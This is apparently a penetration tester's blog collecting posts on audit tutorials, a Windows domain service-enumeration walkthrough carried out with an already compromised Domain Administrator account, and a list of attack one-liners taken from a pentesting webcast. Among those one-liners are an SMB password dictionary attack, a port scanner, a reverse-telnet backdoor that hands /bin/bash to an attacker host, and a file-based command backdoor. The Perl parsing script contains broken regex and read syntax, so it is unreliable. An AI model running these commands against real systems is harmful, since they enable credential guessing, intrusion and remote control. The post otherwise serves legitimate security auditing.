I created a tutorial on how to setup and configure the Nokia N810 Internet Tablet to conduct a wireless assessment or audit. The tools included in the tutorial include how to setup kismet (oldcore and newcore), aircrack-ng (airbase and aircrack), and btscanner. I’m still working on developing steps to install Metasploit and Karmetasploit for wireless client attacks. The tutorial also details using the internal GPS as well as adding an external wireless adapter. The latest version of the tutorial can be found here.
I put together another Technical Assessment Plan for assessing the SNMP protocol. You will use open source and freely download-able utilities to assess the SNMP protocol. This is for auditors that do not have access to or cannot afford the Solarwinds toolset. This is version 0.1 of the document and I plan on making updates and add new tools in the future.
I put together a Technical Assessment Plan that can be used to conduct external fingerprinting using the tools and utilities that a penetration tester would use. The assessment plans are structured in a way to help with the documentation of evidence for inclusion in a work-paper process. The plan provides helpful information on how to install, configure, and use the tools to obtain the evidence needed for an engagement. The Technical Assessment Plans that I have created can be found here.
During an audit I had to determine whether a particular remote control service was installed on the Domain workstations and servers. It was determined during the interview process that no remote control software was in use. I decided to obtain the evidence to the contrary. I had already compromised a Domain Administrator account so I had the appropriate permissions.
Get a list of servers and workstations.
C:\>net view /domain
C:\>net view /domain:<domain_name> >> host_list.txt
The host_list.txt will need to be edited as descriptions of the workstations and servers will show up to the right of the host name. You can quickly edit it in Excel (text to columns). Of course if this was Linux and /or you had awk you could pipe it and choose the first column (| awk ‘{print $1}’)
The command we will be using to query remote services is called Service Control (sc) from the Windows Resource Kit. For more information on the command see this site.
C:\>for /f %i in (host_list.txt) do @echo %i >> results.txt && sc %i query <Service_Name>
In addition to the service results I would like to have the fully qualified domain name and ip address of the server or workstation I am querying. A quick addition of the nslookup command you and you get this:
C:\>for /f %i in (host_list.txt) do @nslookup %i >> results.txt && sc %i query <Service_Name> >> results.txt
Finally, I would like to know, with reasonable assurance, the user of that workstation. For that we will be using a command line tool from the pstools tool kit called psloggedin. Once that tool is installed on your auditor workstation/laptop you can add it to our command.
C:\>for /f %i in (host_list.txt) do @nslookup %i >> results.txt && sc %i query <Service_Name >> results.txt && psloggedin -l -x %i >> results.txt
I wrote a quick script to parse the output of the above command so it can be sorted and analyzed in your preferred spreadsheet application.
#!/usr/bin/perl
$numArgs = $#ARGV +1;
if($numArgs < 1){
print "Invalid Number of Arguments\n";
print "serviceparse.pl \n\n";
exit;
}
#open the file
$infile = "$ARGV[0]";
open(DAT, $infile) || die("Something did not work. You figure it out.");
#save file contents into an array
@raw_data=;
close(DAT);
#Cycle through the entire array
for($count=0;$count<=$#raw_data;$count++){
#get fully qualified domain name
if(@raw_data[$count] =~ /Name:/){
@array = split(/:/, @raw_data[$count]);
$host = @array[1];
$host =~ s/^s+//;
$host =~ s/s+$//;
#get ip address
@array = split(/:/, @raw_data[$count+1]);
$ip = @array[1];
$ip =~ s/^s+//;
$ip =~ s/s+$//;
$service = "";
$user = "";
for($c=$count+1;$c<=$#raw_data;$c++){
if(@raw_data[$c] =~ /RUNNING/){
$service = "Installed and Running";
}
if(@raw_data[$c] =~ /STOPPED/){
$service = "Installed and Stopped";
}
if(@raw_data[$c] =~ /FAILED 1722/){
$service = @raw_data[$c+2];
$service =~ s/^s+//;
$service =~ s/s+$//;
}
if(@raw_data[$c] =~ /FAILED 1060/){
$service = @raw_data[$c+2];
$service =~ s/^s+//;
$service =~ s/s+$//;
}
if(@raw_data[$c] =~ /locally:/){
@array = split(//, @raw_data[$c+3]);
$user = @array[1];
$user =~ s/^s+//;
$user =~ s/s+$//;
}else {if(@raw_data[$c] =~ /Error opening HKEY_USERS/){$user = "";}}
if(@raw_data[$c] =~ /Server:/){print "$host,$ip,$service,$user\n";last;}
}
}
}
Run this script from the command line and pipe it to save the output.
$perl serviceparse.pl results.txt > parseresults.csv
Core Technologies hosted a series of three webcasts called Penetration Testing Ninjitsu by Ed Skoudis (http://www.coresecurity.com/content/webcast-series-with-sans). I highly recommend listening to these web casts and downloading the slides for your reference. I’m including the commands extracted from the slides that can be very useful for a penetration test.
Ninjitsu I
Ping Sweep
C:\> for /L %i in (1,1,255) do @ping –n 1 10.10.10.%i | find “Reply”
Reverse DNS Lookup
C:\> for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2>nul | find "Name" && echo 10.10.10.%i
Dictionary Attack
C:\> for /f %i in (user.txt) do @(for /f %j in (pass.txt) do @echo %i:%j & @net use \\10.10.10.10 %j /u:%i 2>nul && echo %i:%j >> success.txt && net use \\10.10.10.10 /del)
Ninjitsu II
Linux Command-Line Port Scanner
$ port=1; while [ $port –lt 1024 ]; do echo > /dev/tcp/[IPaddr]/$port; [ $? == 0 ] && echo $port "is open" >> /tmp/ports.txt; port=`expr $port + 1`; done
Linux Command-Line Backdoor via “Reverse Telnet”
$ telnet [attacker_IPaddr] [port1] | /bin/bash | telnet [attacker_IPaddr] [port2]
The Windows Command Line Port Scanner Using FTP Client
C:\> for /L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt & echo open [IP_addr] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>>ports.txt
Windows Command-Line File Transfer
C:\> type [filename] > \\[machine]\[share]\[filename]
Backdoors: The File Shell
C:\> for /L %i in (1,0,2) do (for /f "delims=^" %j in (commands.txt) do cmd.exe /c %j >> output.txt & del commands.txt) & ping -n 2 127.0.0.1
Ninjitsu III
Wireless Sniffing
C:\> for /L %i in (1,0,2) do @(netsh interface set interface “wireless network connection” disable & ping –n 3 127.0.0.1 >nul & netsh interface set interface “wireless network connection” enable & ping –n 4 127.0.0.1 >nul & netsh wlan show networks mode=bssid)
Install Telnet Client Vista
C:\> pkgmgr /iu:"TelnetClient"
Install Telnet Server Vista
C:\> pkgmgr /iu:"TelnetServer"
Install IIS 7.0
C:\> pkgmgr /iu:IIS-WebServerRole;WASWindowsActivationService;WAS-ProcessModel;WASNetFxEnvironment;WAS-ConfigurationAPI
List Domain Password Settings
C:\>net accounts /domain